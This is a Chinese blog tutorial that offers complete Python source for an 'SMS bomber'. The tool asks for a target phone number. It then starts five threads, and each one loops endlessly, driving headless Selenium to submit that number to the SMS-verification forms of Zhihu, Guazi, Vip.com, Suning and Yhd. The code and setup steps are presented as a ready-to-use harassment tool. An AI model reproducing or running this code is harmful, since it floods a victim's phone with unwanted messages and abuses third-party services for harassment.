美文网首页乱七八糟Python
python实现多进程短信轰炸

python实现多进程短信轰炸

作者: sexy_cyber | 来源:发表于2018-06-06 19:35 被阅读1661次

    python实现多线程死循环并发短信轰炸器,100%包教学会

    先看下图,给自己手机号发的验证码,由于是多线程死循环并发发送的,只简单截图示意,代码用python编写,用到技术有:多线程、类对象、selenium、xpath等常规编程方法,代码涉及隐私部分已经打码,源代码私聊。

    image image

    1、安装 selenium,pip install selenium,导入time时间和threading线程模块

    image

    2、创建一个类,并写7个方法

    初始化方法

    打印发送次数方法

    A网站发送验证码方法

    B网站发送验证码方法

    C网站发送验证码方法

    D网站发送验证码方法

    E网站发送验证码方法

    3、初始化方法(init

    初始化方法:设置发送的手机号码、发送次数计数器初始值

    image

    4、打印发送次数方法(send_yzm)

    用到了format方法,不了解的可以百度,很常用的方法,time.sleep()设置延时

    image

    5、A网站发送验证码方法

    其实轰炸器原理很简单,利用其它网站平台的发送验证码功能,实现用自己程序发送短信功能,用while循环实现死循环发送

    1、创建driver对象,用的谷歌chromedriver.exe驱动

    2、driver.get()方法,访问网址

    3、driver.find_element_by_xpath()方法可以根据前端html\css的标签、类名、ID名找到元素,找到元素执行click方法

    4、time.sleep(3)秒是等3秒元素加载出来再去找下一个元素,不加延时会报错

    5、send_yzm是包含点击最后发送验证码按钮和打印发送次数

    6、driver.quit()方法实现浏览器关闭,节约内存,因为是死循环,所以方法会重新运行,从而实现死循环发送

    image

    6、B网站发送验证码方法(后面不再一一介绍,只贴源码)

    image

    7、C网站发送验证码方法

    image

    8、D网站发送验证码方法

    image

    9、E网站发送验证码方法

    image

    10、调用这些方法

    image

    11、程序遇到的坑(chromedriver.exe设置)

    查看chrome浏览器版本,chromedriver.exe和浏览器对应表下载对应chromedriver.exe

    image

    下载链接: http://chromedriver.storage.googleapis.com/index.html

    下载后直接放到盘里面

    image

    将chromedriver.exe加入环境变量

    image
    
    from selenium import webdriver
    
    import time
    
    from threading import Thread
    
    class HongZha(object):
    
        def __init__(self):
    
            self.phone = input('请输入您要轰炸的号码:')
    
            self.num = 0
    
            self.opt = webdriver.ChromeOptions()
    
            self.opt.add_argument('headless')
    
        def send_yzm(self,button,name):
    
            button.click()
    
            self.num+=1
    
            print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    
            time.sleep(65) #两次发送的间隔必须在60秒以上。所以这边定义的是65秒
    
        def zhihu(self,name):
    
            while True:
    
                path = "C:/Users/Administrator/AppData/Local/Programs/Python/Python36/chromedriver.exe"
    
                # 把chrome设置成无界面模式,不论windows还是linux都可以,自动适配对应参数
    
                # 创建chrome无界面对象
    
                driver = webdriver.Chrome(chrome_options=self.opt)
    
                # 隐式等待,selenium自带的等待功能,比较智能,网速快会自动跳过
    
                driver.implicitly_wait(10)
    
                driver.get("https://www.zhihu.com/question/39993344")
    
                driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
    
                tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
    
                tel.send_keys(self.phone)
    
                button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
    
                self.send_yzm(button,name)
    
                driver.quit ()
    
        def guazi(self,name):
    
            while True:
    
                # driver = webdriver.Chrome(executable_path="C:/Users/Administrator/AppData/Local/Programs/Python/Python36/chromedriver.exe")
    
                driver = webdriver.Chrome(chrome_options=self.opt)
    
                driver.implicitly_wait(10)
    
                driver.get ( "https://www.guazi.com/www/bj/buy" )
    
                a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
    
                a_btn.click ()
    
                tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入您的手机号码']" )
    
                tel.send_keys ( self.phone )
    
                button = driver.find_element_by_xpath ( "//button[@class='get-code']" )
    
                self.send_yzm ( button,name )
    
                driver.quit ()
    
        def wphui(self,name):
    
            while True:
    
                # driver = webdriver.Chrome(executable_path="C:/Users/Administrator/AppData/Local/Programs/Python/Python36/chromedriver.exe")
    
                driver = webdriver.Chrome(chrome_options=self.opt)
    
                driver.implicitly_wait(10)
    
                driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
    
                tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
    
                tel.send_keys ( self.phone )
    
                driver.find_element_by_xpath ( "//input[@placeholder='请输入手机验证码']" ).click()
    
                button = driver.find_element_by_xpath (
    
                    "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
    
                self.send_yzm ( button,name )
    
                driver.quit ()
    
        def suning(self,name):
    
            while True:
    
                # driver = webdriver.Chrome(executable_path="C:/Users/Administrator/AppData/Local/Programs/Python/Python36/chromedriver.exe")
    
                driver = webdriver.Chrome(chrome_options=self.opt)
    
                driver.implicitly_wait(10)
    
                driver.get ( "https://reg.suning.com/person.do" )
    
                tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']" )
    
                tel.send_keys ( self.phone )
    
                button = driver.find_element_by_xpath (
    
                    "//a[@id='sendSmsCode']" )
    
                self.send_yzm ( button,name )
    
                driver.quit ()
    
        def yhd(self,name):
    
            while True:
    
                # driver = webdriver.Chrome(executable_path="C:/Users/Administrator/AppData/Local/Programs/Python/Python36/chromedriver.exe")
    
                driver = webdriver.Chrome(chrome_options=self.opt)
    
                driver.implicitly_wait(10)
    
                driver.get ( "https://passport.yhd.com/passport/register_input.do" )
    
                driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("wujunya625")
    
                tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
    
                tel.send_keys ( self.phone )
    
                button = driver.find_element_by_xpath (
    
                    "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
    
                button.click()
    
                self.send_yzm ( button,name )
    
                driver.quit ()
    
    if __name__ == '__main__':
    
        hongzha = HongZha()
    
        zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
    
        guazi = Thread ( target=hongzha.guazi,args=("瓜子",) )
    
        wphui = Thread(target=hongzha.wphui,args=("唯品会",))
    
        suning = Thread(target=hongzha.suning,args=("苏宁",))
    
        yhd    = Thread( target=hongzha.yhd,args=("一号店",) )
    
        zhihu.start()
    
        guazi.start()
    
        wphui.start()
    
        suning.start()
    
        yhd.start()
    
    

    相关文章

      网友评论

      本文标题:python实现多进程短信轰炸

      本文链接:https://www.haomeiwen.com/subject/yejisftx.html